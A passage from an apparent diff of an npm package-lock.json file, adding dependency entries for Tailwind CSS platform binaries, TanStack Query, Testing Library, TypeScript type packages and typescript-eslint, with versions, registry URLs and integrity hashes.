"sha512-dvNoRKLijXnD0XoJAz94pbNuB5GQgDr55UhpSPhffDkTT0Cmcqh9jSCOtwfT2d4H6MI9E7c4SgtMuJXZ6F3c6A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@simple-libs/stream-utils": "^2.0.0" + }, + "engines": { + "node": ">=22" + }, + "funding": { + "url": "https://ko-fi.com/dangreen" + } + }, + "node_modules/@simple-libs/stream-utils": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/@simple-libs/stream-utils/-/stream-utils-2.0.0.tgz", + "integrity": "sha512-fCTuZK4QBa+39Oz9l4OGfJfz+GpwCp3AqO7Zch3to99xHPgstVsRFpeQ8LNd2o1Gv8raL2mCFwiaHh7bFSp5DQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=22" + }, + "funding": { + "url": "https://ko-fi.com/dangreen" + } + }, + "node_modules/@standard-schema/spec": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/@standard-schema/spec/-/spec-1.1.0.tgz", + "integrity": "sha512-l2aFy5jALhniG5HgqrD6jXLi/rUWrKvqN/qJx6yoJsgKhblVd+iqqU4RCXavm/jPityDo5TCvKMnpjKnOriy0w==", + "dev": true, + "license": "MIT" + }, + "node_modules/@standard-schema/utils": { + "version": "0.3.0", + "resolved": "https://registry.npmjs.org/@standard-schema/utils/-/utils-0.3.0.tgz", + "integrity": "sha512-e7Mew686owMaPJVNNLs55PUvgz371nKgwsc4vxE49zsODpJEnxgxRo2y/OKrqueavXgZNMDVj3DdHFlaSAeU8g==", + "license": "MIT" + }, + "node_modules/@tailwindcss/node": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/@tailwindcss/node/-/node-4.3.2.tgz", + "integrity": "sha512-yWP/sqEcBLaD8JuA6zNwxoYKr75qxTioYwlRwekj5Jr/I5GXnoJfjetH/psLUIv74cYTH2lBUEzBkinthoYcBg==", + "dev": true, + "license": "MIT", + "dependencies": { + "@jridgewell/remapping": "^2.3.5", + "enhanced-resolve": "5.21.6", + "jiti": "^2.7.0", + "lightningcss": "1.32.0", + "magic-string": "^0.30.21", + "source-map-js": "^1.2.1", + "tailwindcss": "4.3.2" + } + }, + "node_modules/@tailwindcss/oxide": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide/-/oxide-4.3.2.tgz", + "integrity": "sha512-z8ZgnzX8gdNoWLBLqBPoh/sjnxkwvf9ZuWjnO0l0yIzbLa5/9S+eC5QxGZKRobVHIC3/1BoMWjHblqWjcgFgag==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 20" + }, + "optionalDependencies": { + "@tailwindcss/oxide-android-arm64": "4.3.2", + "@tailwindcss/oxide-darwin-arm64": "4.3.2", + "@tailwindcss/oxide-darwin-x64": "4.3.2", + "@tailwindcss/oxide-freebsd-x64": "4.3.2", + "@tailwindcss/oxide-linux-arm-gnueabihf": "4.3.2", + "@tailwindcss/oxide-linux-arm64-gnu": "4.3.2", + "@tailwindcss/oxide-linux-arm64-musl": "4.3.2", + "@tailwindcss/oxide-linux-x64-gnu": "4.3.2", + "@tailwindcss/oxide-linux-x64-musl": "4.3.2", + "@tailwindcss/oxide-wasm32-wasi": "4.3.2", + "@tailwindcss/oxide-win32-arm64-msvc": "4.3.2", + "@tailwindcss/oxide-win32-x64-msvc": "4.3.2" + } + }, + "node_modules/@tailwindcss/oxide-android-arm64": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-android-arm64/-/oxide-android-arm64-4.3.2.tgz", + "integrity": "sha512-WHxqIuHpvZ5VtdX6GTl1Ik/Vp2YuN42Et+0CdeaVd/frQ9jAvGmvR8vLT+jk3e8/Q3x8kECB9+R17pgpp2BulA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "android" + ], + "engines": { + "node": ">= 20" + } + }, + "node_modules/@tailwindcss/oxide-darwin-arm64": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-darwin-arm64/-/oxide-darwin-arm64-4.3.2.tgz", + "integrity": "sha512-GZypeUY/IDJW3877KeM+O67vbXr3MBnbtEL4aYhNErv/JWZhye2vGSWWG9tB6iiqR2MqRNkY8IOUy4NdSZV26w==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 20" + } + }, + "node_modules/@tailwindcss/oxide-darwin-x64": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-darwin-x64/-/oxide-darwin-x64-4.3.2.tgz", + "integrity": "sha512-UIIzmefR6KO1sDU7MzRqAxC8iBpft/VhkGjTjnhoS6k7Z3rQ9wEgA1ODSiyH/tcSYssulNm4Ci3hOeK1jH7ccQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "darwin" + ], + "engines": { + "node": ">= 20" + } + }, + "node_modules/@tailwindcss/oxide-freebsd-x64": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-freebsd-x64/-/oxide-freebsd-x64-4.3.2.tgz", + "integrity": "sha512-GN+uAmcI6DNspnCDwtOAZrTz6oukJnp337qZvxqCGLd3BHBzJpO0ZbTLRvJNdztOeAmTzewewGIMPb0tk2R4WA==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "freebsd" + ], + "engines": { + "node": ">= 20" + } + }, + "node_modules/@tailwindcss/oxide-linux-arm-gnueabihf": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-arm-gnueabihf/-/oxide-linux-arm-gnueabihf-4.3.2.tgz", + "integrity": "sha512-4ABn7qSbdHRwTiDiuWNegCyb5+2FJ4vKIKc3DmKrvAFw7MU1Lm11dIkTPwUaFdTzc7IsOpDbqBrlh0x6y36U/w==", + "cpu": [ + "arm" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 20" + } + }, + "node_modules/@tailwindcss/oxide-linux-arm64-gnu": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-arm64-gnu/-/oxide-linux-arm64-gnu-4.3.2.tgz", + "integrity": "sha512-wDgEIGwoM8w8pufh9LVt1PahDgNdKXrLC2qfAnV3vAmococ9RWbxeAw4pxPttd/TsJfwjyLf90Dg1y9y8I6Emw==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 20" + } + }, + "node_modules/@tailwindcss/oxide-linux-arm64-musl": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-arm64-musl/-/oxide-linux-arm64-musl-4.3.2.tgz", + "integrity": "sha512-J5Nuk0uZQIiMTJj3LEx4sAA9tMFUoXQZFv1J6An+QGYe53HKRJuFDi0rpq/tuouCZeAbOBY3kQ6g8qeD4TUjtA==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 20" + } + }, + "node_modules/@tailwindcss/oxide-linux-x64-gnu": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-x64-gnu/-/oxide-linux-x64-gnu-4.3.2.tgz", + "integrity": "sha512-kqCZpSKOBEJO4mz7OqWoofBZeXTAwaVGPj0ErAj7CojmhKpWVWVOnrt9dE8odoIraZq4oj3ausM37kXi+Tow8w==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 20" + } + }, + "node_modules/@tailwindcss/oxide-linux-x64-musl": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-linux-x64-musl/-/oxide-linux-x64-musl-4.3.2.tgz", + "integrity": "sha512-cixpqbh2toJDmkuCRI68nXA8ZxNmdK9Y+9v5h3MC3ZQKy/0BO8AWzlkWyRM7JAFSGBlfig4YVTPsK6MVgqz1uw==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "linux" + ], + "engines": { + "node": ">= 20" + } + }, + "node_modules/@tailwindcss/oxide-wasm32-wasi": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-wasm32-wasi/-/oxide-wasm32-wasi-4.3.2.tgz", + "integrity": "sha512-4ec2Z/LOmRsAgU23CS4xeJfcJlmRg94A/XrbGRCF1gyU/zdDfRLYDVsS+ynSZCmGNxQ1jQriQOKMQeQxBA3Isw==", + "bundleDependencies": [ + "@napi-rs/wasm-runtime", + "@emnapi/core", + "@emnapi/runtime", + "@tybys/wasm-util", + "@emnapi/wasi-threads", + "tslib" + ], + "cpu": [ + "wasm32" + ], + "dev": true, + "license": "MIT", + "optional": true, + "dependencies": { + "@emnapi/core": "^1.11.1", + "@emnapi/runtime": "^1.11.1", + "@emnapi/wasi-threads": "^1.2.2", + "@napi-rs/wasm-runtime": "^1.1.4", + "@tybys/wasm-util": "^0.10.2", + "tslib": "^2.8.1" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@emnapi/wasi-threads": { + "version": "1.2.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@napi-rs/wasm-runtime": { + "version": "1.1.4", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "@tybys/wasm-util": "^0.10.1" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/Brooooooklyn" + }, + "peerDependencies": { + "@emnapi/core": "^1.7.1", + "@emnapi/runtime": "^1.7.1" + } + }, + "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/@tybys/wasm-util": { + "version": "0.10.2", + "dev": true, + "inBundle": true, + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@tailwindcss/oxide-wasm32-wasi/node_modules/tslib": { + "version": "2.8.1", + "dev": true, + "inBundle": true, + "license": "0BSD", + "optional": true + }, + "node_modules/@tailwindcss/oxide-win32-arm64-msvc": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-win32-arm64-msvc/-/oxide-win32-arm64-msvc-4.3.2.tgz", + "integrity": "sha512-Zyr/M0+XcYZu3bZrUytc7TXvrk0ftWfl8gN2MwekNDzhqhKRUucMPSeOzM0o0wH5AWOU49BsKRrfKxI2atCPMQ==", + "cpu": [ + "arm64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 20" + } + }, + "node_modules/@tailwindcss/oxide-win32-x64-msvc": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/@tailwindcss/oxide-win32-x64-msvc/-/oxide-win32-x64-msvc-4.3.2.tgz", + "integrity": "sha512-QI9BO7KlNZsp2GuO0jwAAj5jCDABOKXRkCk2XuKTSaNEFSdfzqswYVTtCHBNKHLsqyjFyFkqlDiwkNbTYSssMQ==", + "cpu": [ + "x64" + ], + "dev": true, + "license": "MIT", + "optional": true, + "os": [ + "win32" + ], + "engines": { + "node": ">= 20" + } + }, + "node_modules/@tailwindcss/vite": { + "version": "4.3.2", + "resolved": "https://registry.npmjs.org/@tailwindcss/vite/-/vite-4.3.2.tgz", + "integrity": "sha512-eHpMeX4JXfVNJDEcsouTeCBubJBTcTLigeaw/NTUW6PB5ATKKXdyonnXgTBX2VuRbjz1hjfz6C5XAhr52ImQXA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@tailwindcss/node": "4.3.2", + "@tailwindcss/oxide": "4.3.2", + "tailwindcss": "4.3.2" + }, + "peerDependencies": { + "vite": "^5.2.0 || ^6 || ^7 || ^8" + } + }, + "node_modules/@tanstack/query-core": { + "version": "5.101.2", + "resolved": "https://registry.npmjs.org/@tanstack/query-core/-/query-core-5.101.2.tgz", + "integrity": "sha512-hH5MLoJhF7KaIGd7q3xTXGXvslI+GYlM1Z/35aSHHWaCJWB7XvTSHYuV3eM7tw+aE0mT/xMro4M4Q9rCGHT0lw==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/tannerlinsley" + } + }, + "node_modules/@tanstack/query-devtools": { + "version": "5.101.2", + "resolved": "https://registry.npmjs.org/@tanstack/query-devtools/-/query-devtools-5.101.2.tgz", + "integrity": "sha512-o+wHcqgN7Pp0s8v1i0UGq/ZrrEKrxdIiMQmKRdYb2w7NPtylYSJ4+wg/tIn71m9DLstwUwdEGAvROdly6HXP6w==", + "license": "MIT", + "funding": { + "type": "github", + "url": "https://github.com/sponsors/tannerlinsley" + } + }, + "node_modules/@tanstack/react-query": { + "version": "5.101.2", + "resolved": "https://registry.npmjs.org/@tanstack/react-query/-/react-query-5.101.2.tgz", + "integrity": "sha512-seDkr6kzGzX1okaaTtZPtgA688CDPlXUz1C6xSg0ESqn04Vuc8tlrYms1s3de+znBqhPVxFRfpAfUf+6XvfPWg==", + "license": "MIT", + "dependencies": { + "@tanstack/query-core": "5.101.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/tannerlinsley" + }, + "peerDependencies": { + "react": "^18 || ^19" + } + }, + "node_modules/@tanstack/react-query-devtools": { + "version": "5.101.2", + "resolved": "https://registry.npmjs.org/@tanstack/react-query-devtools/-/react-query-devtools-5.101.2.tgz", + "integrity": "sha512-eU7HctdA9gDjqoERoEdzLbw9DiqnBDfh5+Hu0u26gjqoHJezOpQAuiesDL2VvkU+2cPV76zgv0tMZsOrI4LjnQ==", + "license": "MIT", + "dependencies": { + "@tanstack/query-devtools": "5.101.2" + }, + "funding": { + "type": "github", + "url": "https://github.com/sponsors/tannerlinsley" + }, + "peerDependencies": { + "@tanstack/react-query": "^5.101.2", + "react": "^18 || ^19" + } + }, + "node_modules/@testing-library/dom": { + "version": "10.4.1", + "resolved": "https://registry.npmjs.org/@testing-library/dom/-/dom-10.4.1.tgz", + "integrity": "sha512-o4PXJQidqJl82ckFaXUeoAW+XysPLauYI43Abki5hABd853iMhitooc6znOnczgbTYmEP6U6/y1ZyKAIsvMKGg==", + "license": "MIT", + "dependencies": { + "@babel/code-frame": "^7.10.4", + "@babel/runtime": "^7.12.5", + "@types/aria-query": "^5.0.1", + "aria-query": "5.3.0", + "dom-accessibility-api": "^0.5.9", + "lz-string": "^1.5.0", + "picocolors": "1.1.1", + "pretty-format": "^27.0.2" + }, + "engines": { + "node": ">=18" + } + }, + "node_modules/@testing-library/jest-dom": { + "version": "6.9.1", + "resolved": "https://registry.npmjs.org/@testing-library/jest-dom/-/jest-dom-6.9.1.tgz", + "integrity": "sha512-zIcONa+hVtVSSep9UT3jZ5rizo2BsxgyDYU7WFD5eICBE7no3881HGeb/QkGfsJs6JTkY1aQhT7rIPC7e+0nnA==", + "license": "MIT", + "dependencies": { + "@adobe/css-tools": "^4.4.0", + "aria-query": "^5.0.0", + "css.escape": "^1.5.1", + "dom-accessibility-api": "^0.6.3", + "picocolors": "^1.1.1", + "redent": "^3.0.0" + }, + "engines": { + "node": ">=14", + "npm": ">=6", + "yarn": ">=1" + } + }, + "node_modules/@testing-library/jest-dom/node_modules/dom-accessibility-api": { + "version": "0.6.3", + "resolved": "https://registry.npmjs.org/dom-accessibility-api/-/dom-accessibility-api-0.6.3.tgz", + "integrity": "sha512-7ZgogeTnjuHbo+ct10G9Ffp0mif17idi0IyWNVA/wcwcm7NPOD/WEHVP3n7n3MhXqxoIYm8d6MuZohYWIZ4T3w==", + "license": "MIT" + }, + "node_modules/@testing-library/react": { + "version": "16.3.2", + "resolved": "https://registry.npmjs.org/@testing-library/react/-/react-16.3.2.tgz", + "integrity": "sha512-XU5/SytQM+ykqMnAnvB2umaJNIOsLF3PVv//1Ew4CTcpz0/BRyy/af40qqrt7SjKpDdT1saBMc42CUok5gaw+g==", + "license": "MIT", + "dependencies": { + "@babel/runtime": "^7.12.5" + }, + "engines": { + "node": ">=18" + }, + "peerDependencies": { + "@testing-library/dom": "^10.0.0", + "@types/react": "^18.0.0 || ^19.0.0", + "@types/react-dom": "^18.0.0 || ^19.0.0", + "react": "^18.0.0 || ^19.0.0", + "react-dom": "^18.0.0 || ^19.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + }, + "@types/react-dom": { + "optional": true + } + } + }, + "node_modules/@testing-library/user-event": { + "version": "14.6.1", + "resolved": "https://registry.npmjs.org/@testing-library/user-event/-/user-event-14.6.1.tgz", + "integrity": "sha512-vq7fv0rnt+QTXgPxr5Hjc210p6YKq2kmdziLgnsZGgLJ9e6VAShx1pACLuRjd/AS/sr7phAR58OIIpf0LlmQNw==", + "license": "MIT", + "engines": { + "node": ">=12", + "npm": ">=6" + }, + "peerDependencies": { + "@testing-library/dom": ">=7.21.4" + } + }, + "node_modules/@tybys/wasm-util": { + "version": "0.10.3", + "resolved": "https://registry.npmjs.org/@tybys/wasm-util/-/wasm-util-0.10.3.tgz", + "integrity": "sha512-F3fo1MYrRJYL3zER0OUOmkutjr1Vp23m7OsSgp7nq4SP6OqX6C/56XFIPAl5bt3zaBRjmW7SGz3u/6LwFpYcOg==", + "license": "MIT", + "optional": true, + "dependencies": { + "tslib": "^2.4.0" + } + }, + "node_modules/@types/aria-query": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/@types/aria-query/-/aria-query-5.0.4.tgz", + "integrity": "sha512-rfT93uj5s0PRL7EzccGMs3brplhcrghnDoV26NqKhCAS1hVo+WdNsPvE/yb6ilfr5hi2MEk6d5EWJTKdxg8jVw==", + "license": "MIT" + }, + "node_modules/@types/chai": { + "version": "5.2.3", + "resolved": "https://registry.npmjs.org/@types/chai/-/chai-5.2.3.tgz", + "integrity": "sha512-Mw558oeA9fFbv65/y4mHtXDs9bPnFMZAL/jxdPFUpOHHIXX91mcgEHbS5Lahr+pwZFR8A7GQleRWeI6cGFC2UA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@types/deep-eql": "*", + "assertion-error": "^2.0.1" + } + }, + "node_modules/@types/deep-eql": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/@types/deep-eql/-/deep-eql-4.0.2.tgz", + "integrity": "sha512-c9h9dVVMigMPc4bwTvC5dxqtqJZwQPePsWjPlpSOnojbor6pGqdk541lfA7AqFQr5pB1BRdq0juY9db81BwyFw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/esrecurse": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/@types/esrecurse/-/esrecurse-4.3.1.tgz", + "integrity": "sha512-xJBAbDifo5hpffDBuHl0Y8ywswbiAp/Wi7Y/GtAgSlZyIABppyurxVueOPE8LUQOxdlgi6Zqce7uoEpqNTeiUw==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/estree": { + "version": "1.0.9", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-1.0.9.tgz", + "integrity": "sha512-GhdPgy1el4/ImP05X05Uw4cw2/M93BCUmnEvWZNStlCzEKME4Fkk+YpoA5OiHNQmoS7Cafb8Xa3Pya8m1Qrzeg==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/json-schema": { + "version": "7.0.15", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.15.tgz", + "integrity": "sha512-5+fP8P8MFNC+AyZCDxrB2pkZFPGzqQWUzpSeuuVLvm8VMcorNYavBqoFcxK8bQz4Qsbn4oUEEem4wDLfcysGHA==", + "dev": true, + "license": "MIT" + }, + "node_modules/@types/node": { + "version": "24.13.3", + "resolved": "https://registry.npmjs.org/@types/node/-/node-24.13.3.tgz", + "integrity": "sha512-Dh8vAsV36ig5wa9OX4pXvMc9D3Veibfw2wix0CUwYODLD8nkj9UsLjASr49nPg+2eKzxhBV+v7L8pXvT4e639Q==", + "devOptional": true, + "license": "MIT", + "dependencies": { + "undici-types": "~7.18.0" + } + }, + "node_modules/@types/parse-json": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/@types/parse-json/-/parse-json-4.0.2.tgz", + "integrity": "sha512-dISoDXWWQwUquiKsyZ4Ng+HX2KsPL7LyHKHQwgGFEA3IaKac4Obd+h2a/a6waisAoepJlBcx9paWqjA8/HVjCw==", + "license": "MIT" + }, + "node_modules/@types/prop-types": { + "version": "15.7.15", + "resolved": "https://registry.npmjs.org/@types/prop-types/-/prop-types-15.7.15.tgz", + "integrity": "sha512-F6bEyamV9jKGAFBEmlQnesRPGOQqS2+Uwi0Em15xenOxHaf2hv6L8YCVn3rPdPJOiJfPiCnLIRyvwVaqMY3MIw==", + "license": "MIT" + }, + "node_modules/@types/react": { + "version": "19.2.17", + "resolved": "https://registry.npmjs.org/@types/react/-/react-19.2.17.tgz", + "integrity": "sha512-MXfmqaVPEVgkBT/aY0aGCkRWWtByiYQXo3xdQ8r5RzuFrPiRn8Gar2tQdXSUQ2GKV3bkXckek89V8wQBY2Q/Aw==", + "license": "MIT", + "dependencies": { + "csstype": "^3.2.2" + } + }, + "node_modules/@types/react-dom": { + "version": "19.2.3", + "resolved": "https://registry.npmjs.org/@types/react-dom/-/react-dom-19.2.3.tgz", + "integrity": "sha512-jp2L/eY6fn+KgVVQAOqYItbF0VY/YApe5Mz2F0aykSO8gx31bYCZyvSeYxCHKvzHG5eZjc+zyaS5BrBWya2+kQ==", + "devOptional": true, + "license": "MIT", + "peerDependencies": { + "@types/react": "^19.2.0" + } + }, + "node_modules/@types/react-transition-group": { + "version": "4.4.12", + "resolved": "https://registry.npmjs.org/@types/react-transition-group/-/react-transition-group-4.4.12.tgz", + "integrity": "sha512-8TV6R3h2j7a91c+1DXdJi3Syo69zzIZbz7Lg5tORM5LEJG7X/E6a1V3drRyBRZq7/utz7A+c4OgYLiLcYGHG6w==", + "license": "MIT", + "peerDependencies": { + "@types/react": "*" + } + }, + "node_modules/@typescript-eslint/eslint-plugin": { + "version": "8.63.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/eslint-plugin/-/eslint-plugin-8.63.0.tgz", + "integrity": "sha512-rvwSgqT+DHpWdzfSzPatRLm02a0GlESt++9iy3hLCDY4BgkaLcl8LBi9Yh7XGFBpwcBE/K3024QuXWTpbz4FfQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@eslint-community/regexpp": "^4.12.2", + "@typescript-eslint/scope-manager": "8.63.0", + "@typescript-eslint/type-utils": "8.63.0", + "@typescript-eslint/utils": "8.63.0", + "@typescript-eslint/visitor-keys": "8.63.0", + "ignore": "^7.0.5", + "natural-compare": "^1.4.0", + "ts-api-utils": "^2.5.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "@typescript-eslint/parser": "^8.63.0", + "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", + "typescript": ">=4.8.4 <6.1.0" + } + }, + "node_modules/@typescript-eslint/eslint-plugin/node_modules/ignore": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/ignore/-/ignore-7.0.6.tgz", + "integrity": "sha512-BAg6QkE8W+TuQLrrw0Ugr7HegXduRuuj8/ti2kSOc+jz1dmx8/WNcjr6XGnq5YpDWxFwwaavqD0+jIUOKelTsw==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">= 4" + } + }, + "node_modules/@typescript-eslint/parser": { + "version": "8.63.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/parser/-/parser-8.63.0.tgz", + "integrity": "sha512-gwh4gvvlaVDKKxyfxMG+Gnu1u9X0OQBwyGLkbwB65dIzBKnxeRiJlNFqlI3zwVhNXJIs6qV7mlFCn/BIajlVig==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/scope-manager": "8.63.0", + "@typescript-eslint/types": "8.63.0", + "@typescript-eslint/typescript-estree": "8.63.0", + "@typescript-eslint/visitor-keys": "8.63.0", + "debug": "^4.4.3" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", + "typescript": ">=4.8.4 <6.1.0" + } + }, + "node_modules/@typescript-eslint/project-service": { + "version": "8.63.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/project-service/-/project-service-8.63.0.tgz", + "integrity": "sha512-e5dh0/UI0ok53AlZ5wRkXCB32z/f2jUZqPR/ygAw5WYaSw8j9EoJWlS7wQjr/dmOaqWjnPIn2m+HhVPCMWGZVQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/tsconfig-utils": "^8.63.0", + "@typescript-eslint/types": "^8.63.0", + "debug": "^4.4.3" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "typescript": ">=4.8.4 <6.1.0" + } + }, + "node_modules/@typescript-eslint/scope-manager": { + "version": "8.63.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/scope-manager/-/scope-manager-8.63.0.tgz", + "integrity": "sha512-uUyfMWCnDSN8bCpcrY8nGP2BLkQ9Xn0GsipcONcpIDWhwhO4ZSyHvyS14U3X75mzxWxL3I2UZIrenTzdzcJO8A==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/types": "8.63.0", + "@typescript-eslint/visitor-keys": "8.63.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@typescript-eslint/tsconfig-utils": { + "version": "8.63.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/tsconfig-utils/-/tsconfig-utils-8.63.0.tgz", + "integrity": "sha512-sUAbkulqBAsncKnbRP3+7CtQFRKicexnj7ZwNC6ddCR7EmrXvjvdCYMJbUIqMd6lwoEriZjwLo08aS5tSjVMHg==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "typescript": ">=4.8.4 <6.1.0" + } + }, + "node_modules/@typescript-eslint/type-utils": { + "version": "8.63.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/type-utils/-/type-utils-8.63.0.tgz", + "integrity": "sha512-Nzzh/OGxVCOjObjaj1CQF2RUasyYy2Jfuh+zZ3PjLzG2fYRriAiZLib9UKtO+CpQAS3YHiAS+ckZDclwqI1TPA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/types": "8.63.0", + "@typescript-eslint/typescript-estree": "8.63.0", + "@typescript-eslint/utils": "8.63.0", + "debug": "^4.4.3", + "ts-api-utils": "^2.5.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": "^8.57.0 || ^9.0.0 || ^10.0.0", + "typescript": ">=4.8.4 <6.1.0" + } + }, + "node_modules/@typescript-eslint/types": { + "version": "8.63.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/types/-/types-8.63.0.tgz", + "integrity": "sha512-xyLtl9DUBBFrcJS4x2pIqGLH68/tC2uOa4Z7pUteW09D3bXnnXUom4dyPikzWgB7llmIc1zoeI3aoUdC4rPK/Q==", + "dev": true, + "license": "MIT", + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + } + }, + "node_modules/@typescript-eslint/typescript-estree": { + "version": "8.63.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/typescript-estree/-/typescript-estree-8.63.0.tgz", + "integrity": "sha512-ygBkU+B7ex5UI/gKhaqexWev79uISfIv7XQCRNYO/jmD8rGLPyWLAb3KMRT6nd8Gt9bmUBi9+iX6tBdYfOY81Q==", + "dev": true, + "license": "MIT", + "dependencies": { + "@typescript-eslint/project-service": "8.63.0", + "@typescript-eslint/tsconfig-utils": "8.63.0", + "@typescript-eslint/types": "8.63.0", + "@typescript-eslint/visitor-keys": "8.63.0", + "debug": "^4.4.3", + "minimatch": "^10.2.2", + "semver": "^7.7.3", + "tinyglobby": "^0.2.15", + "ts-api-utils": "^2.5.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "typescript": ">=4.8.4 <6.1.0" + } + }, + "node_modules/@typescript-eslint/utils": { + "version": "8.63.0", + "resolved": "https://registry.npmjs.org/@typescript-eslint/utils/-/utils-8.63.0.tgz", + "integrity": "sha512-fUKaeAvrTuQg/Tgt3nliAUSZHJM6DlCcfyEmxCvlX8kieWSStBX+5O5Fnidtc3i2JrH+9c/GL4RY2iasd/GPTA==", + "dev": true, + "license": "MIT", + "dependencies": { + "@eslint-community/eslint-utils": "^4.9.1", + "@typescript-eslint/scope-manager": "8.63.0", + "@typescript-eslint/types": "8.63.0", + "@typescript-eslint/typescript-estree": "8.63.0" + }, + "engines": { + "node": "^18.18.0 || ^20.9.0 || >=21.1.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/typescript-eslint" + }, + "peerDependencies": { + "eslint": 